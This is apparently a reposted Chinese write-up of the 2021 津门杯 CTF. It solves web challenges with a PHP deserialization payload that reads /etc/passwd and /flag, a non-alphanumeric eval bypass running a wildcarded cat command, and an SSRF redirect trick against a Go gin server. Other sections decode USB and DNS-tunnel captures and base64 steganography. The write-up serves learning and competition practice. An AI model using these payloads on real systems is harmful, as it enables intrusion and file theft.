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津门杯WriteUP

最近很浮躁，好好学习

WEB

power_cut

扫目录
index.php

<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#
";
        $this->exitMsg="#--session end--#
";
        $this->logFile =  $file;
        readfile($this->logFile);

    }

    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."
");
        fclose($fd);
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?
 ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }

}

$log = 'O:6:"logger":2:{s:7:"logFile";s:11:"/etc/passwd";s:4:"file";s:11:"/etc/passwd";}';
$log = preg_replace("/[<>*#'|?
 ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);

?>

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

O:6:"weblog":1:{s:10:"weblogfile";s:11:"/etc/passwd";}
接下来绕waf，双写
O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}

hate_php

index.php

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

绕一下

http://122.112.214.101:20004/?code=?%3E%3C?=`/???/???%20/????`?%3E

GoOSS

main.go

package main

import (
    "bytes"
    "crypto/md5"
    "encoding/hex"
    "github.com/gin-gonic/gin"
    "io"
    "io/ioutil"
    "net/http"
    "os"
    "strings"
    "time"
)

type File struct {
    Content string `json:"content" binding:"required"`
    Name string `json:"name" binding:"required"`
}
type Url struct {
    Url string `json:"url" binding:"required"`
}

func md5sum(data string) string{
    s := md5.Sum([]byte(data))
    return hex.EncodeToString(s[:])
}


func fileMidderware (c *gin.Context){
    fileSystem := http.Dir("./files/")
    if c.Request.URL.String() == "/"{
        c.Next()
        return
    }
    f,err := fileSystem.Open(c.Request.URL.String())
    if f == nil {
        c.Next()
    }
    //
    if err != nil {
        c.Next()
        return
    }
    defer f.Close()
    fi, err := f.Stat()
    if  err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    if fi.IsDir() {

        if !strings.HasSuffix(c.Request.URL.String(), "/") {
            c.Redirect(302,c.Request.URL.String()+"/")
        } else {
            files := make([]string,0)
            l,_ := f.Readdir(0)
            for _,i := range l {
                files = append(files, i.Name())
            }

            c.JSON(http.StatusOK, gin.H{
                "files" :files,
            })
        }

    } else {
        data,_ := ioutil.ReadAll(f)
        c.Header("content-disposition", `attachment; filename=` + fi.Name())
        c.Data(200, "text/plain", data)
    }

}

func uploadController(c *gin.Context) {
    var file File
    if err := c.ShouldBindJSON(&file); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }

    dir := md5sum(file.Name)

    _,err:= http.Dir("./files").Open(dir)
    if err != nil{
        e := os.Mkdir("./files/"+dir,os.ModePerm)
        _, _ = http.Dir("./files").Open(dir)
        if e != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
            return

        }

    }
    filename := md5sum(file.Content)
    path := "./files/"+dir+"/"+filename
    err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
    if err != nil{
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    c.JSON(200, gin.H{
        "message": "file upload succ, path: "+dir+"/"+filename,
    })
}
func vulController(c *gin.Context) {

    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }

    if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
        c.JSON(403, gin.H{"msg": "url forbidden"})
        return
    }
    client := &http.Client{Timeout: 2 * time.Second}

    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func main() {
    r := gin.Default()
    r.Use(fileMidderware)
    r.POST("/vul",vulController)
    r.POST("/upload",uploadController)
    r.GET("/", func(c *gin.Context) {
        c.JSON(200, gin.H{
            "message": "pong",
        })
    })
    _ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

index.php

<?php
// php in localhost port 80
readfile($_GET['file']);
?>

先试上传接口

看index.php 提示php在本地80端口，有个readfile函数可以用来读文件。
大概率是SSRF，然后去访问index.php再用index.php读flag(比赛时没做出来，看go太菜了

这道题的漏洞点和evoa师傅挖的洞很像
https://github.com/go-macaron/macaron/issues/198
https://evoa.me/archives/21/

按照标准，用户注册的路由必须是/结尾，比如
@app.route('/user/')
如果没有以斜杠结尾，很多框架也会在背后默默添加上斜杠以符合标准
所以如果用户访问一个没有以斜杠结尾的路径时，框架会默认跳转到斜杠结尾的路径。如果框架没有任何判断，直接跳转的的url为用户访问url + '/' 就会产生漏洞
Django的CVE-2018-14574就是这么产生的https://xz.aliyun.com/t/3302

在gin框架的fileMidderware函数中，有个IsDir()，如果用户访问的是一个文件夹，判断用户访问路径如果没有以/结尾，就加上一个/再302跳转。正常我们想要跳到baidu.com，我们得在静态目录下新建一个叫 baidu.com 的文件夹，然后访问
路径，否则是404. 但是我们可以加上..
payload

http://127.0.0.1:1234//baidu.com/..

由于路径是 .. 结尾，http.FileSystem会认为他是一个路径，fi.IsDir()为真，并且路径并不是/结尾，if !strings.HasSuffix(ctx.Req.URL.Path, "/")为true，继续进入if语句，最后返回的location为Location://baidu.com/../就能成功跳转了。

vul控制器里面限定了以http://127.0.0.1:1234开头，双斜杠触发302，然后用..

Misc

misc1

八个字节，猜测为键盘
tshark -r 12.pcapng -T fields -e usb.capdata | sed '/^s*$/d' > usbdata.txt

f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16: # 键盘流量的话len改为16
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('
')
    else:
        break

fi.close()

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884080810882108108821042084010421
01248密码
解码得到 flag{THISISFLAG}

m1bmp

bmp隐写，zsteg一把梭

发现一段base64
ZmxhZ3tsNURHcUYxcFB6T2IyTFU5MTlMTWFCWVM1QjFHMDFGRH0=
解码 flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}

tunnel

过滤出了所有 evil相关的dns解析域名

tshark -r tunnel.pcap -T fields -e dns.qry.name -Y 'udp.dstport==53 || dns and dns.qry.name contains evil' > res.txt

依次解码拼接：
解码之后是一个加密压缩包，里面有个flag.jpg

# -*- coding: utf-8 -*-
import base64
fileres = "/Users/lanvnal/比赛/2021年/津门杯/misc/tunnel/res.txt"

data = ''
tmp = ''
nums = 0

def base64Padding(data):
    missing_padding = 4 - len(data) % 4
    if missing_padding:
        data += '=' * missing_padding
    return data

for line in open(fileres):
    if tmp == line:
        continue
    else:
        tmp = line
        nums += 1
    codeline = base64Padding(tmp[:-9])
    try:
        data += base64.b64decode(codeline)
    except Exception as err:
        print(codeline)
# print(data)
# print(nums)

with open('/Users/lanvnal/比赛/2021年/津门杯/misc/tunnel/decRes2-2.zip','w') as f:
    f.write(data)

base64 隐写，得到 password: B@%MG"6FjbS8^c#r

import textwrap
import string

base64_code = "".join([
    string.ascii_uppercase,
    string.ascii_lowercase,
    string.digits,
    "+/",
])

def base64_stego(path: str) -> str:
    stegolist = []
    with open(path, mode="r", encoding="utf-8") as f:
        for i, bs in enumerate(f.read().split("
"), 1):
            stegov = base64_stego_decode(bs)
            if stegov is not None:
                stegolist.append(stegov)
    flag = "".join([chr(int(bit, 2)) for bit in textwrap.wrap("".join(stegolist), 8) if int(bit) != 0 ])
    return flag

def base64_stego_decode(vstr: str) -> str:
    vstr += "=" * min((len(vstr) % 4), 2)
    count = vstr.count("=")
    if count < 1:
        return None
    bits = 0x0f if count == 2 else 0x03
    v = base64_code.find(vstr.replace("=", "")[-1]) & bits
    return bin(v)[2:].zfill(count * 2)

print(base64_stego("res.txt"))

flag{D01nt_5pY_0nmE}

Crypto

RSA

混合编码

JTJGMTAyJTJGMTA4JTJGOTclMkYxMDMlMkYxMjMlMkYxMTMlMkY0OSUyRjEyMCUyRjc1JTJGMTEyJTJGMTA5JTJGNTYlMkYxMTglMkY3MyUyRjc2JTJGODclMkYxMTQlMkYxMDclMkYxMDklMkY4OCUyRjEyMCUyRjg2JTJGNTQlMkYxMDYlMkY0OSUyRjQ5JTJGNzclMkYxMDAlMkY5OSUyRjcxJTJGMTE2JTJGNzYlMkYxMjIlMkYxMTglMkY4MiUyRjEyMSUyRjg2JTJGMTI1

%2F102%2F108%2F97%2F103%2F123%2F113%2F49%2F120%2F75%2F112%2F109%2F56%2F118%2F73%2F76%2F87%2F114%2F107%2F109%2F88%2F120%2F86%2F54%2F106%2F49%2F49%2F77%2F100%2F99%2F71%2F116%2F76%2F122%2F118%2F82%2F121%2F86%2F125

/102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86/125

flag{q1xKpm8vILWrkmXxV6j11MdcGtLzvRyV}

enc = "102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86/125"

character = enc.split("/")

flag = ''
for c in character:
    flag += chr(int(c))

print(flag)

查看全文

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原文地址：https://www.cnblogs.com/twosmi1e/p/14813484.html